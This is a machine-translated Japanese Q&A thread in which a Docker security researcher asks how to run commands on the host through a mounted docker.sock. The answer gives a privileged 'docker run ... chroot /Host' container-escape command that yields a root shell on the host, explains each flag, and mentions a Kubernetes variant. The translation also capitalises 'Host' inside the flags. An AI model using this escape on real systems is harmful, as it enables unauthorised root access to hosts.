web-dev-qa-db-ja.com

Dockerコンテナーのdocker.sockを介してホストシステムで直接コマンドを実行する方法

私はDockerのセキュリティを研究し、コンテナからホストにエスケープする方法を調査しています。

Docker sock(docker.sock)が/var/run/docker.sockのコンテナーにマウントされ、Dockerクライアント(docker)がDockerデーモン(dockerd)にコマンドを送信できると仮定します。

ホストでコマンドを実行するには、別のコンテナーを実行して/etc/をマウントし(読み取り/書き込み)、CRONジョブをスケジュールします。現在のコンテナに/etc/をマウントすることは可能ですか?

docker.sockを介してホスト上でコマンドを実行するための他の方法はありますか?

6
Shuzheng

公開されたDockerソケットを使用して、基盤となるホストでコマンドを実行するために見つけた最良の方法は、Ian Miellの これまでで最も無意味なdockerコマンド です。

コマンドは次のようになります:-

docker run -ti 
    --privileged 
    --net=Host --pid=Host --ipc=Host 
    --volume /:/Host 
    busybox 
    chroot /Host

基本的には、基盤となるホストの完全なルートシェルに直接ドロップします。

コマンドを分解するには

--privilegedは、Apparmorや機能制限などのデフォルトのDockerセキュリティレイヤーを削除します。

--net=Host --pid=Host --ipc=Hostは、含まれているプロセスの名前空間の個別のセットではなく、ホストの名前空間でプロセスを実行します。

--volume /:/Hostは、ホストルートファイルシステムを/Hostとしてコンテナ内にマウントします

その後

コマンドとしてのchroot /Hostは、ルートをその/Hostディレクトリに変更します。

Kubernetesを介して実行している場合は、 最も無意味なKubernetesコマンド を使用できます。これは、実質的に同じことを実行します(クラスターに制限付きのポッドセキュリティポリシーが設定されていない場合)。

8
Rory McCune